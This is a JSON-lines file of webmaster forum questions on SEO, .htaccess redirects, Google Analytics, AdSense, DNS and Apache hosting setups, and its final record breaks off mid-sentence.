{"id":"20697","title":"Self hosting of recaptcha-like system to digitise my uploaded books","text":"From wikipedia > reCAPTCHA is a system ... that uses CAPTCHA to help digitize the text of > books while protecting websites from bots I have a lot of scanned documents that I'd like to convert, and would like to introduce a captcha on my website, so why not kill two birds with one stone? The reCAPTCHA project has it's own agenda though focusing on archives of The New York Times and books from Google Books. Does a similar project exist that I could host and thereby dictate the books\/docs that are digitised?"}
{"id":"9781","title":"Email a very large list of WordPress subscribers = fail (every single time)","text":"I have tried using a number of plugins to email my 40,000 registered users on my WordPress-powered site, to no avail. I have tried Subscribe2 (seems to send some, but I have no idea how many) as well as a few Newsletter plugins. I either run out of memory trying to add 40K entries to the mail queue, or I error out trying to add 40K emails in the BCC of the email being sent. Is there anyone out there with a large subscriber-base that has found a successful solution? If so, please share."}
{"id":"9784","title":"is a merchant account a requirment for a website to take payments","text":"I have had a quick look but couldn't see anything related. Basically, if we were to accept payments for events on our website, via paypal (essentially a Buy it now! button), as a business, do we need a merchant's account, or will a regular bank account be acceptable? I may have some confusion in terms. My understanding is you need a merchant's account to accept credit card payments, but as we are using PayPal, is this necessary? Thank you for any clarification. disclaimer - I've read What are some options for taking payments on my website? but it doesn't explicitly say if we require a merchant account or not. Thank you."}
{"id":"36519","title":"Domain Forwarding for SEO","text":" For SEO, is the type of forwarding provided by domain registrars (like what I have pictured above) effective? Specifically, will old-domain.com rank better for the keyword \"new\" (or whatever happens to be in the forwarded domain name)? If this type of forwarding is NOT effective, is there another approach that is?"}
{"id":"53036","title":"Why is Yahoo bot hitting a page when my robots.txt file is configured to disallow all bots?","text":"My robots.txt: User-agent: * Disallow: \/ A page two directories below the root is being hit by a Yahoo bot and getting a 404: HTTP_REFERER: [empty string] HTTP_USER_AGENT: Mozilla\/5.0 (compatible; Yahoo! Slurp\/3.0; http:\/\/help.yahoo.com\/help\/us\/ysearch\/slurp) NOT Firefox\/3.5 QUERY_STRING: [empty string] REMOTE_ADDR: 98.137.206.112 REMOTE_HOST: 98.137.206.112 REMOTE_USER: [empty string] REQUEST_METHOD: GET How is this possible and how can I prevent this? WHOIS for 98.137.206.112"}
{"id":"36040","title":"How to properly remove URL's from Google's index?","text":"On some of our sites, we now have several thousand pages that dilute our website's keyword density. The website is an MVC site with SEO routing. If I submit a new sitemap with say only the 2000 or so pages that we want indexed, even though navigating to the diluting pages still works, will Google re-index the site with only those 2000 pages, dropping the superfluous ones? For example, I want to keep roughly 2000 of the following: www.mysite.com\/some-search-term-1\/some-good-keywords www.mysite.com\/some-search-term-2\/some-more-good-keywords And remove several thousand of the following that have already been indexed. www.mysite.com\/some-search-term-xx\/some-poor-keywords www.mysite.com\/some-search-term-xx\/some-poor-more-keywords These pages are not actually \"removed\" as navigating to these URL's still renders a page. Even though there are potentially hundreds of thousands of pages, I only want say 2000 to be re-indexed and retained. The others removed (without having to do these manually). Thanks."}
{"id":"36043","title":"Track user traffic source and display a slightly customized page?","text":"I was wondering if there's a possibility to track where a user comes from e.g. AdWords or Referal or Facebook etc and based on this information to show a different page? For example it would be very useful to be able to display a different contact phone or email address on your contact page to users coming from AdWords. How do you do this? Thanks in advance, Alex"}
{"id":"59775","title":"Domain Expired issues","text":"We are facing a problem regarding the renewal of a Google Apps domain. Our domain is `badrealam.com` and it expired on 2014-02-07 as we mistakenly did not renew it. Now we are trying to renew it but unfortunately it's not working, however it shows 30$ in my balance as they want 10$ to renew it. Someone told me that you have to renew your hosting also which is on GoDaddy."}
{"id":"51916","title":".htaccess redirect of domain name alias to main domain but must show up as the alias domain","text":"I have the following in a .htaccess file: RewriteCond %{HTTP_HOST} ^www\\.aliasdomain\\.com$ [OR] RewriteCond %{HTTP_HOST} ^aliasdomain\\.com$ RewriteRule ^(.*)$ http:\/\/www.maindomain.com\/subdir1\/subdir2\/index.html [R] In a browser I want `aliasdomain.com` to access the `index.html` file and show up as `aliasdomain.com`. However it shows up as the full URL as follows: `http:\/\/www.maindomain.com\/subdir1\/subdir2\/index.html`"}
{"id":"37889","title":"I am located in a 3rdWC, does it matter for venture capitalism (US)?","text":"Can one who lives in a third world country (with a promising project) go for a venture capital round with the likes of Ycombinator etc?"}
{"id":"18610","title":"Why is my site being penalized by Google?","text":"Our web site traffic has been dropped 90% for second time within recent six months. The first time some of pages with address niazpardaz.com\/search dropped, the second time same pages with address niazpardaz.com\/sa dropped and the whole website get penalty and its rank has been dropped too much. Our site is cleaner than our competitors and we review and respect all rules mentioned in Google guidelines but we didn't find any reason for this penalty and so in the future we can not prevent its re-occurrence."}
{"id":"33276","title":"Challenging nameserver problem","text":"I really appreciate you reading this. I have spent close to 6 months putting my soul into creating my first ruby on rails app, and now my site is all buggered up SEO-wise and I'm really bummed. I'm going to try to (simply) explain what happened and I really hope someone can help me. Thanks in advance!! All this is chronological. My website is http:\/\/pineapple.io I deployed my app on **apache** , using **phusion passenger**. I examined webmaster tools like a hawk during my launch, to make sure my sitemaps\/SEO was all good, updating properly and so on. Everything is good for about a week. I then notice _(after refining my title tags)_ that they haven't changed for a solid week, despite Google seeing my new updated sitemap daily. Up until then Google had been updating the index with my changes after only 12 hours- 2 days so I thought this was kind of odd but I was like \"meh, whatever. it will happen eventually\" I then look in analytics and see I get a hit for a certain keyword. I Google the keyword myself and low and behold. I see it in the index, but its indexed as this: ns2.deluxetracking.com This is one of my nameservers. I'm like what!! I Googled site:ns2.deluxetracking.com and I see now that ALL my pages are indexed there, and they're ALL UPDATED with the right meta titles\/descriptions that I was waiting to see changed! Google had been updating this information instead of my pineapple.io domain. I talk to my host, and they told me that because I set a new document root with apache, that cPanel doesn't like that and.. I dont know the details but basically ns2.deluxetracking.com was showing an exact duplicate of my site. I had them fix this issue, so that when you go to ns2.deluxetracking.com it would show the proper default page for a nameserver _(Cgi-sys default webpage)_. I then realized that all my pages in Google's index would be broken now, and I didn't want that as I wanted all that fresh meta information to transfer over. So underneath the virtual host fix that my host did, I added another section which redirects EVERYTHING from ns2.deluxetracking.com\/whatever\/page over to --> pineapple.io\/whatever\/page This is how it is now. I then went into webmaster tools with the intent to add ns2.deluxetracking.com, and fetch as Google but then resubmit to index _(so it would see all my 301s)_. In order to verify my account I had to temporarily **break** my site again and remove the 301. After I verified, I fetched as Google bot, submitted to index and quickly re-enabled the 301's I waited for about 2 days, and now when i do site:ns2.deluxetracking.com, it actually has MORE results than it did, even WITH the 301. It used to have about 900 and now it has 1300 after I did that What gives? How can I fix this? I have several specific concerns: 1. **Why** would Google index something that is a different domain? Under **normal** conditions, how does Google **work** with a nameserver? I thought the entire point of a nameserver is just to locate an IP of the host, and then get a domain name _(the proper one)_ , and Google just uses that nameserver to locate the real site. Why is it actually **accessing** get requests on port 80 for a real web request to my nameserver? Furthermore, Why would it ever index that? Traditionally I never _(obviously)_ needed to supply a 301 redirect on a nameserver to have it not be indexed on all my other sites. So what is different now? What I'm saying is, on any of my other websites, if you visit ns1.deluxetracking.com you get the 'cgi-sys default webpage'. Google **knows** not to index that page because its a nameserver. So why did it suddenly choose to index whats on my nameserver THIS time? EVEN though my entire website showed up on that nameserver _(my fault)_ , I still dont know why it would ever choose to index that. 2. How can I remove all the existing SEO results for ns2. Will Google just naturally over time see my 301's and remove the old site from the index? I can't really use `robots.txt` because ns2 is a subdomain thats in use already somewhere, not to mention thats kind of complicated iwth virtualhosts to try and hack it so I can upload a `robots.txt`."}
{"id":"37930","title":"SEO for ecommerce site with no product description and large inventory","text":"We are building a ecommerce with a inventory of about 6000 products, the problem is most of the products have the same description so we decided to keep description as `noindex` and make it available to users to prevent the issue of duplicate content. I heard that it will be a big impact if there is no product description how to tackle this problem, is this true?"}
{"id":"18615","title":"Can a company take my domain away from me?","text":"I have a domain which coincidentally is the same name of a company. Is there any legal way in which this company can take my domain away from me?"}
{"id":"33273","title":"Which URLs produce Google Adsense revenue?","text":"Is there a menu in Google AdSense that can let me know which URLs on my website are generating the most revenue?"}
{"id":"27421","title":"Is it possible to invalidate cache when the referrer adress is different?","text":"Suppose I serve an image and if someone visits from a forum then I want it to download that image. If they visit again from the same forum then I want it to use cache, but if they visit from another forum and reference that same image I want it go ahead and re download that image. Is that possible?"}
{"id":"48164","title":"\"404. That’s an error.\" when viewing from Google cache","text":"My site is getting _404. That’s an error._ message when I click on cached from Google search results. This is the error message from Google: That’s an error. The requested URL `\/search?q=cache:8kxLAgFrhZQJ:www.mysite.com.....&cd=8&hl=en&ct=clnk&gl=uk` was not found on this server. That’s all we know. What I did before I was getting this error is that about 10 days ago, I moved my hosting from _Ixwebhosting_ to _Gearhost_ (cloud based). I also added 301 redirect from `non www` to `www`. I have no idea why I am getting this error. Please advise what might be the reason if there is a solution for it. All of my pages are indexed by Google though."}
{"id":"20435","title":"How does this particular daniweb page get 208 pageview although there was no search volume for this keywords- usage get method arrays?","text":"How does this particular daniweb page get 208 pageview although there was no search volume for this keywords- usage get method arrays? daniweb page : http:\/\/www.daniweb.com\/software-development\/java\/threads\/378417 Search volume is none for - usage get method arrays. When I search in google keyword tool."}
{"id":"48162","title":"Is xCommenter really good for SEO?","text":"I have heard of xCommenter and wanted to know if its really good for improving the SEO?"}
{"id":"27425","title":"Copy website content from WebsiteA.com\/file.html to WebsiteB\/file.com every time interval","text":"I want to copy a website from `Website A` to `Website B` every 10 minutes. Then with purple-include I want to do a transclusion and display it on `mywebsite.com\/page.html` So the task is download `websiteA.com\/file` to `websiteB.com\/file` I figured out the transclusion part but I do not know how to copy a webpage from A to B. Are there any script for this or how can I do this?"}
{"id":"38060","title":"Problem with user generated content","text":"In general, what do you think is better in regards to adding content to a site, to allow users to add content to the site and put a flag button to report it if it doesn't fit with the site, or should only I add the content and remove that option? It will be a small site but I don't know if I'll manage to scan the site constantly or deal with the flags and on the other hand I'm worried that the site wont move forward because there will be lot less content, thoughts?"}
{"id":"34919","title":"When does Twitter api V1.1 will be active?","text":"When does Twitter api V1.1 will be active? I can see warnings for Deprecated version, but when do we expect the new version to come alive."}
{"id":"38066","title":"Why aren't monospace fonts almost never used for base font?","text":"I haven't come across any website that use monospace fonts as the base font for their websites. Why is that? Does the website necessarily look bad when you use monospace?"}
{"id":"38067","title":"Can a registrar outage affect my website?","text":"If my registrar has an outage and their servers go down for a while, will that affect my website. I'm not using any of my registrar hosting packages or name servers, I simply have a few domain names registered with them that point to my actual hosting provider. Based on my current understanding on how these things work I believe that an outage at my registrar will not affect my websites at all, but I'd like to hear this from someone with more experience in this field."}
{"id":"67011","title":"How to include\/install mod_proxy_http.c on JustHost","text":"I'm using a service that requires a URL to be sent to their site so that it can return an HTML snapshot to Googles crawlers. In their .htaccess code it has the line <IfModule mod_proxy_http.c> and it doesnt make it past that statement (implying that I dont have that module installed\/enabled?) But the service says that most servers should have that installed. I tried contacting JustHost but havent received a response yet so was hoping you could help. I dont know much about this stuff so I dont know where to begin but on JustHosts cPanel it doesnt seem to let me into their httpd.conf which is where most resources are saying to fix this. It does however let me add things to the \"Apache Handler\" but frankly I have no idea how."}
{"id":"38099","title":"Google Webmaster Tools is showing incorrect warnings - blocked by robots.txt","text":"I'm getting a warning when submitting my sitemap to webmaster tools it saying that my pages are blocked by `robots.txt` when they are not. Has any one come across this or a way to resolve this before ? Here is the error message:  Here is my `robots.txt` file: User-agent: * Disallow: Sitemap: http:\/\/mydomain.co.uk\/sitemap.xml"}
{"id":"67019","title":"How should I create sitemap of a site which goes live with thousands of pages?","text":"We are working on an education site and have custom website built on wordpress. One component of site is blog posts and pages, sitemap for which gets built by sitemap plugin every night. Another component is the college pages and we went live with this section 2 month back. To build the sitemap for these 8000+ pages , we wrote a program and created a sitemap lets say abc.xml. Then we submitted the sitemap to google. After 2 months, I can see that the google acknowledged the submission but never indexed these 8000+ pages. 561 indexed pages are from our blog post and pages.  I guess the mistakes we did was that we created the sitemap of 8000+ links and submitted when we should have done it in piecemeal basis. 2nd mistake I guess is that we do not update the abc.xml sitemap regularly which we thought of doing once all the pages were indexed. What is suggested a) to fix this problem b) and how to get the pages indexed ?"}
{"id":"67018","title":"Does duplicate title tags with and without www hurt SEO?","text":"For my website, I own `https:\/\/www.example.com` and `https:\/\/example.com`. (Currently, `http:\/\/example.com` redirects to `https:\/\/www.example.com`.) I recently had an audit of my website and it reported that `https:\/\/www.example.com` and `https:\/\/example.com` are duplicate title tags. **Of course they are** - because one redirects to the other! **Does this really hurt my SEO??**"}
{"id":"33136","title":"PHP Include meta tags","text":"A website I'm currently working on is http:\/\/www.troubi.com . Please don't care to look at the source code. If I validate the website through the w3cValidator a lot of errors occur all due to \"invalid\" meta tags. ( http:\/\/validator.w3.org\/check?uri=http%3a%2f%2fwww%2etroubi%2ecom%2f ) If you look at the website's source you will see that everything in the meta region looks perfectly valid, and that's the curiousity. Now comes the point, in Firebug it just looks like if all the included meta tags were just moved to the `<body>`! A screenshot from Firebug:  For reference, this is the meta file that gets included: http:\/\/www.troubi.com\/feature\/meta.php"}
{"id":"68973","title":"Default DNS records with WHMCS + cPanel\/WHM + NetEarthOne","text":"I use the billing system WHMCS to automatically send invoices and use it's auto-setup functions. My control panel is cPanel\/WHM. I use NetEarthOne to resell domains. cPanel\/WHM and NetEarthOne are both fully compatible with WHMCS. I asked my host: > If a user buys a hosting package and a domain name, what are the standard > DNS records? Does the client have to set them up manually? They didn't understand that, so I asked: > If a user buys hosting package + domain name, do they have to setup the > domain name to point to the hosting package manually? They said: > If you use some billing system like WHMCS, the account for this order should > be created automatically as well as DNS zone for this domain. No need to > make any additional changes. I replied: > Interesting to know. Yes, I'm using WHMCS. I don't need to setup something > in LogicBoxes or something? (LogicBoxes is the control panel for NetEarthOne) They said: > No, you do not need to do this. Could someone please confirm this?"}
{"id":"68972","title":"Tracking Traffic Through a Certain Page","text":"I'm looking for some help with the Google Analytics Behavior Flow. I want to track all the traffic through a section of our site that ends up going to another particular section of my web site. Any advice on how to get this information."}
{"id":"56740","title":"How to download the audio from my own YouTube videos that are on YouTube?","text":"I have some YouTube videos on YouTube. Is there a way to just get the audio from them? I am able to get the mp4 format video download. If I can't get the audio directly, how could I get the audio-only file from the mp4 file? Thank you!"}
{"id":"68975","title":"Structured Data for dynamic pages and Webmaster Tools","text":"I have a catalogue with more than 150000 (150k) unique single item pages, each with schema.org set up for titles, descriptions, images, prices etc. These pages are dynamically built through a unique ID in the URL. Unfortunately this includes out of stock items and \"old\" items where some or all content required for schema.org may be empty. This results in error flags raised in Google Webmaster Tools. What would be a better approach to tackle this catch-22? 1. Fake schema.org Data (i.e. Set price from NULL to \"0.00\"), which is NOT the correct price, suggesting the item is free of charge. 2. Flag the page as noindex (which may be index'ed one day and noindex the next to be index'ed a couple of days after again) 3. Set a 301 to another page. 4. Set a 302 to another page. As it stands now, I have approximately 18.000 pages indexed with schema.org according to Google Webmaster Tools. I have the feeling that the less errors I receive caused by missing schema.org for already indexed pages, the faster Google lists the outstanding ones. Any ideas on what the best practice would be for such a scenario?"}
{"id":"68974","title":"Aligning images with text","text":"I'm having trouble aligning an image with text. I want my image on the left, and the text inline on the right, centered vertically to the image. <div class=\"container\"> <span class=\"icon\"> <img ... \/> <\/span> <span>555-1212<\/span> <\/div> Right now, the text hugs the top of the container. How can I center it vertically to the middle of the container?"}
{"id":"47560","title":"Combine redirect to naked domain and point existing content to \/blog","text":"I think the .htaccess setup for this ought to be fairly straightforward, but I'm having a hard time with it for some reason. I've just completed the migration of a WordPress single site installation to a MultiSite setup, and everything went swimmingly. Now, though, I need to redirect all the original blog posts to `\/blog\/<post>` (because WordPress enforces that on MultiSite). I also recently migrated everything to the naked domain. This in and of itself wasn't a problem – until I added in the `\/blog\/` component. Here is what I have for the naked domain redirect (which, as noted, works fine): RewriteCond %{HTTP_HOST} ^www\\.(.*)$ [NC] RewriteRule ^(.*)$ http:\/\/%1\/$1 [R=301,L] I've tried a number of things for the `\/blog\/` redirect, but it's continuing to throw me. It seems like it should be fairly easy with `RedirectMatch`: RedirectMatch 301 ^\/(.*\/?)$ http:\/\/<my-site>\/blog\/$1 The problem, of course, is that this expression then captures `\/blog\/` and promptly heads off to `\/blog\/blog\/blog\/...` I run into the same problem using another `RewriteCond`\/`RewriteRule` pair, and when I tried to work around it like this: RewriteCond %{HTTP_HOST} ^(?:(www\\.))?(.*)$ [NC] RewriteRule ^(?<!(blog\/))(.*)$ http:\/\/%1\/blog\/$1 [R=301,L] The result was a redirect loop (I'm not seeing what's causing it, but my head is obviously not processing the regexes correctly this morning). It seems to me like `RedirectMatch` is the way to go anyway; I just need to make sure not to capture `\/blog\/` itself. **Edit:** I totally forgot about the `!` part of the rule; should I simply be starting that `RewriteMatch` with `!^blog`?"}
{"id":"56171","title":"Using .htaccess to set a cookie and 301 redirect","text":"I currently have in my _.htaccess_ : RewriteRule ^$ http:\/\/chfmaine.com\/ [CO=moved:yes:chfmaine.com:1\/,R=301,NE,NC,L] I was basing this off of this post. That's a lot more than I need but the setting of the cookie should be the same. Maybe I am misunderstanding the domain part of the cookie. If I set it to `CHFmaine.com` shouldn’t that be where it works? I tried adding the cookie after the 301. Ether way the 301 works but no cookie is passed. This is redirecting from `maine-horse-trails.com` to `chfmaine.com`. I have 23 of these for all the different pages that were on the old site. Anything landing at this `.htaccess` will be redirected and the cookie should be set. So if there is a way to first pass the cookie to anyone then proceed onto the matching rewrite that would be helpful. But if I can get this way to work I dont mind using copy and paste to get it on all the possibilities. and I do not want to pass any queries in the URL. My question is, what am I doing wrong here? Why can I not find this cookie after a successful redirect? And is there a better option?"}
{"id":"59583","title":"Configuring Apache 2.2 for Python web app in subdirectory","text":"I have been assigned a web server to administer, and I have to deploy a web application I wrote on it. This application is mostly a single page in JS + HTML, but it has a little form to accept submissions from users, and there is some simple server side code to handle them, written with Python and the Flask web framework. The web server is Linux Ubuntu 12, I am using Apache 2.2, and Python, Flask and mod_wsgi are already installed. Let's imagine that the web server's URL is www.company.com; my web application should be served at www.company.com\/webapplication. The URL my web page uses to post user submissions to the server should be www.company.com\/webapplication\/submit. The web application is in \/home\/someuser\/web\/webapplication. Here's the directory structure: +-\/ +-home\/ +-someuser\/ +-web\/ -> All web apps on this server go here +-webapplication\/ -> Location for www.company.com\/webapplication +-html\/ -> HTML and JS files +-app\/ -> Python code +-logs\/ -> Well, logs, obviously +-wsgi\/ -> The WSGI file for this web application Complication: there will be other, different web applications I'll have to write and deploy later on on that same server, at other subdirectories, for example www.company.com\/webapp2, www.company.com\/anotherwebapp and so on, that will use different frameworks, such as Django or Tornado. I left the \/etc\/apache2\/apache2.conf untouched and put this file in \/etc\/apache2\/sites-available, starting from some examples I found online. Here it is, changing bits here and there for security: <VirtualHost *:80> # Configure virtualhost defaults ServerName www.company.com ServerAdmin me@company.com DocumentRoot \/home\/someuser\/web\/webapplication\/html <Directory \/webapplication> Options FollowSymLinks AllowOverride None <\/Directory> <Directory \/home\/someuser\/web\/webapplication\/html\/> Options Indexes FollowSymLinks MultiViews AllowOverride None Order allow,deny allow from all <\/Directory> # Configure WSGI Listener WSGIDaemonProcess webapplication user=someuser group=users threads=5 WSGIScriptAlias \/webapplication \/home\/someuser\/web\/webapplication\/wsgi\/webapplication.wsgi WSGIScriptReloading On <Directory \/home\/someuser\/web\/webapplication\/app> WSGIProcessGroup webapplication WSGIApplicationGroup %{GLOBAL} Order deny,allow Allow from all <\/Directory> # Configure Logging ErrorLog \/home\/someuser\/web\/webapplication\/logs\/error.log LogLevel warn CustomLog \/home\/someuser\/web\/webapplication\/logs\/access.log combined <\/VirtualHost> And this is my WSGI file: import sys sys.path.insert(0, '\/home\/someuser\/web\/webapplication\/app') from DataSubmissionServer import app as application where DataSubmissionServer is a Python file in \/home\/someuser\/web\/webapplication\/app. What happens with this configuration is this: my web page is displayed at www.company.com, taking over the home page on this server. Using the form to submit data gives me a 500 INTERNAL SERVER ERROR. How can I fix this configuration?"}
{"id":"47857","title":"How to earn high quality DoFollow backlinks?","text":"I have a personal blog regarding How to Blogging. I would like no the ideas that how do i get dofollow backlinks to my blog? Is there any fast ways to get backlinks? Some webmaster says that edu., org, gov. Backliks are high quality. Is is true? I hope for your right information."}
{"id":"15643","title":"Facebook like button for a Facebook feed item","text":"Here is what I do: When the admin of a website i'm creating adds a new 'news' item to his website, it directly posts the same item on the Facebook 'fanpage' of the website. This is done by an Facebook app with the permissions to post an item on the Facebook fanpage. So far so good. I'm getting the new post id from the facebook graph. Here is what I want to achieve: I'm adding a 'like' button on the original website, but when this is clicked it should be referenced to the same post item on the facebook page. So if someone likes the news post on the website he should also like the referencing facebook feed post. Which is exactly the same. Can this be done? I've been playing around with the href etc of the like button, without any success. When I hit the like button it likes the url given, but is doesn't recognizes that this is a feed post. Any idea? Thx in advance."}
{"id":"7096","title":"Advertisement system with allowed click encouragement","text":"Is there any advertisement system (like AdSense) that would allow me to encourage the visitors on my page to click the ad? The pay doesn't need to be as high as in AdSense, it's only important that I'm not braking the rules by doing so."}
{"id":"68859","title":"How do I see total \"Sessions\" for certain pages on Google Analytics?","text":"On Google Analytics, I can use the Behavior tab to see the details of my pages and how many Page Views and Unique Page Views they generated. I want to know if there is a way to select a number of pages and see how many unique Sessions those pages had. For example, if I myself visited a few pages from my site, this is how Analytics currently shows it: Page Page Views Unique Page Views ----------------------------------------------- \/index.html 5 1 \/about.html 2 1 \/contact.html 1 1 ----------------------------------------------- 8 3 There's no way to know all of this was generated by 1 session. How can I possibly do this?"}
{"id":"7093","title":"html\/css vs CMS","text":"I am currently a CS student and an aspiring programmer\/web developer. I am wondering whether it is worth taking the time to master html and css to make websites when these CMS services\/wysiwyg editors (wordpress, squarespace) seem to be becoming more and more functional. Does anyone think these publishing services might eventually make the need to design websites from raw code unnecessary? If not, please explain why. If designing a website eventually becomes as simple as using Photoshop I would much rather invest my time in programming languages."}
{"id":"29011","title":"Having a domain with the name Google in it","text":"I have a domain name \"GooglePlayStall.com\". I want to know, will Google penalize me for using their name in domain? I want to make this site as a \"Fan version\" of \"GooglePlay\". I will pick popular apps of \"Google Play\" and will describe the application (its uses etc) in the post and at the end of each post there will be link to the app at Google Play. Is this safe? Should I go for it?"}
{"id":"29546","title":"What are Mozilla compatible Agents in Google Analytics?","text":"When I create a pivot table showing the number of visits for each type of browsers and regions, here is what I obtain:  As you can see, regions such as `Northen America` the number of visits corresponding to `Mozilla Compatible Agent` represents a significant percentage (18% in that case). While doing some research on the net, I came across this article on `SEOmoz` which talks about a bug related to `Mozilla Compatible Agent`. Can someone with experience in GA tell me: **Q1: Can I trust figures under the`5\\. Mozilla Compatible Agent` column?** **Q2: How can I break down those figures to have more specific information on the type of browsers?** **Breakdown for`Mozilla Compatible Agent`** Here are the totals per agent:  And here are the totals per device:  As you can see nothing obvious there as with some OS (e.g. Android) you can actually use different browsers. I just find it annoying that we can't get the exact breakdown per user agent string when clicking on `Mozilla Compatible Agent` (all you get is a line showing `5.0`). I guess I can at least conclude `Mozilla Compatible Agents` are mobile devices."}
{"id":"30039","title":"Does Google award less importance to each keyword on a domain if there are more keywords?","text":"If there are several pages on a domain, and they are optimized for different keywords, will google award less importance to each of them than if there was only one prevailing keyword on the whole domain?"}
{"id":"8104","title":"Photoshop, slice, Dreamweaver, web?","text":"So I am playing around with Photoshop and Dreamweaver. I have created a site layout, and have used the slice function on it. Next, I saved as html & images. In Dreamweaver, I open such html file and I fill the page with content, links, etc. I have a website and everything, and I would like to use my newly created html page on it. But, obviously, if I copy & paste the html to my website it won't work because it will lack the images. But two things: I can't find the images, and apparently they are a lot. I am sure I am doing a great mistake regarding the images. Can someone help me?"}
{"id":"8102","title":"Problem with getting footer down","text":"I used the method described in this article to get my footer down. Worked beautifully, except it floats ~3 pixels above the bottom of the page: http:\/\/nclabs.org\/screenshots\/1295742373.png How can I fix that? Full HTML: http:\/\/nclabs.org\/index.php Full CSS: http:\/\/nclabs.org\/includes\/layout-global.css IE-only CS: http:\/\/nclabs.org\/includes\/ie.css"}
{"id":"68644","title":"Can we use genesis framework for free?","text":"First of all, I know that Genesis framework is paid framework. But many bloggers are using it for free because paypal is not supported in their country. Genesis framework is under GPL (General public licence) which means that anyone can redistribute it for free. I found many bloggers giving it for free but is it safe to use it for free?"}
{"id":"34060","title":"What do I do if a user uploads child pornography?","text":"If my website allows uploading images (which are not moderated), what action do I take if a user uploads child pornography? I already make it easy to report images, and have never had this problem before, but am wondering what the appropriate response is. My initial thought is to: * Immediately delete (not just make inaccessible) the image * File a report with the National Center for Missing and Exploited Children with all information I have on the user (IP, URL, user-agent, etc.), identifying myself as the website operator and providing contact information * Check any other images uploaded by that IP user and prevent them from uploading in the future (this is impossible, but I can at least block their account). This seems like a good way to be responsible in reporting, but does this satisfy all of my legal and moral responsibilities? Would it be better _not_ to delete the image and to just make it inaccessible, so that it can be sent to the National Center for Missing & Exploted Children, the police, FBI, etc?"}
{"id":"17680","title":"Is there a way to mark content as random?","text":"> **Possible Duplicate:** > Is there any way to have search engines not index a certain section of a > page? **Is there a way to mark a section of a webpage (div) so that it is not considered for ranking?** What I am seeing is that sometimes a page ranks for a keyword which is not permanently on that page but only there randomly or semi-randomly. For example, a div may show a random image, or the most popular item or article for that day, or simply a random quote. It gives something interesting for recurring visitors but when the enclosing page ranks for keywords which appeared in those sections (and may no longer appear) is feels less than ideal."}
{"id":"462","title":"Adding RSS\/ATOM feed for a completely static web site","text":"I am helping a friend to bring a very large, completely static web site out of the stone age. One thing I'd like to add immediately is a RSS\/ATOM feed. He does not like working with any kind of CMS. He makes his pages using a Dream Weaver template, then uploads it and manually updates some pages to link to the new content. His site does very, very well in search engines, but he's not quite engaging new visitors who would probably put him in their reader. Is there something I can install that allows him to easily \/ manually add new items to a feed? Perhaps something that if given a link could fetch a content excerpt? Searching around yielded hundreds of things that might work, but many from 2000 or prior that have not been updated since. Language is not critical, but PHP\/Python would be ideal. I really need something self hosted. **Edit** The flow of this should be, webmaster makes a new static page, uploads it, links to it .. now some mention of that page should exist in the RSS feed. Ideally, the webmaster could just provide the link to the new page, and the title with a short excerpt would appear in the feed. **Edit** Perhaps even something that just scraped title \/ excerpt from comment tags, i.e. : <!-- BEGIN EXCERPT <p>The quick brown fox got p0wned by l33t kittens<\/p> --> I don't need a full blown parser, just something that makes it easy for someone with minimal skills to maintain a feed on a completely static site."}
{"id":"6488","title":"What do you think is a possessional looking font for a web application","text":"I am creating a website \/ web application where companies can do there accounting. It is sort of a alternative to the regular desktop accounting program. I want the application to have a look and feel of a normal desktop application, and not of a traditional websites. What kind of font and font-size do you think comes close to the traditional desktop application. I am styling in CSS."}
{"id":"34062","title":"Content Optimization only?","text":"There are tons of discussions around tips&tricks to improve Search Engines \"ranking\" and SEOs. If I concentrate only on the content* of the website will there be consequences on the pages' rank by letting down search engine optimizations... Or third party SEOs are a \" _must have_ \" required by search-engines in order to be competitive regarding the other websites in the same category? (*) The Focus is 100% set on the quality of the content with precise keywords in meta tags, clean design, regular articles updates, clean URLs and highly filtered external links leading to pages on websites dealing on the same,or related subjects."}
{"id":"15463","title":"How could a web developer go about offering free hosting to clients that buy a website?","text":"Lots of web design companies offer a year free hosting service when purchasing a website. How do they offer this service? Do these companies use their own server to host sites or do they buy a years hosting from somewhere and use that? I understand that not all companies would use the same method, but in general, how would it be done? Thanks for any answers :)"}
{"id":"63502","title":"Calculating payment: what kind of rounding should be used?","text":"There are several different methods of rounding. When developing a website that requires calculating a payment, between promotional codes, sales tax, credit card processing fees, it's possible end up with a total that results in a fraction of a penny. What kind of rounding should be used when converting the total to two decimal places?"}
{"id":"6955","title":"Where to store project resource files?","text":"You are working on a website for a client. He (the client) sends you a bunch of MS Word documents with text that you have to use in the website. Where do you store them? My approach would be to store them on my local server along with the source files for the website - in a folder named \"res\" (for \"resources\")."}
{"id":"15466","title":"Backlink anchor text and Local SEO","text":"If I have a business in, say Tampa Florida, and we offer irrigation services, and I want to create some backlinks for a SEO campaign, should I use \"Tampa Florida Irrigation Services\" as my anchor text? Or should I just use \"Irrigation Services\" and let Google figure out our location by our Google local directory listing (that I hope would associate with the web site)?. \"Irrigation Services\" here is just a sample keyword. It could be any other one, but in general, would you use the location as part of the anchor text? I really hope not, cause there are just too many ways to express the same location."}
{"id":"50721","title":"Google Webmaster Tools average position?","text":"I see that my site's average position is 7.0 for a certain search query. However, it is kind of impossible for now. And when I search that query, I cannot find my site even in the first 10 pages. So is there something I misunderstood about the average position?"}
{"id":"26771","title":"Town Of Pixels - Getting Traffic","text":"I need some inputs and feedback on one of my application which i released a week back. Its name is Town of Pixels (http:\/\/www.townofpixels.com). Its majorly for designers, photographers and artists who want to showcase their work in a personalized way. Now i have a concern. I have done nothing to get much traffic. So my google anaytics shows poor results. How can i improve this. I have taken care of SEO upto my knowledge. Please help me with some tips of how to move forward and also some feedback about the application. Thanks, Abhishek"}
{"id":"26775","title":"My site does not get aproved by Adsense. Issues: Unacceptable site content","text":"I've submited my website to adsense and after 5 days i got this email: > Hello, > > As mentioned in our welcome email, we continue to review your AdSense > application once AdSense code is placed on your sites. As a result of this > review, we have disapproved your account for the following violation(s). > > Issues: > > * Unacceptable site content > > > * * * > > Further detail: > > Unacceptable site content: Your website contains content that we do not > allow at this time. Please review our policies > (https:\/\/www.google.com\/adsense\/policies) for a complete list of site > content not allowed on webpages. > > * * * > > To update and resubmit your application, please visit > http:\/\/www.google.com\/adsense and sign in using the email address and > password you submitted with your application. Our specialists will review > your account for compliance with our program policies, so please make sure > to resolve all of the issues listed above before resubmitting. > > For more information, visit our Help Center: > http:\/\/www.google.com\/adsense\/support\/as or search the AdSense Help Forum, > where a community of publishers shares AdSense best practices: > http:\/\/www.google.com\/support\/forum\/p\/AdSense. Representatives of Google > AdSense also participate in discussions. > > Regards, > > The Google AdSense Team Unacceptable site content, what? My blog is hosted on blogspot: ... and i don't really understand why it is not approved. Can somebody help 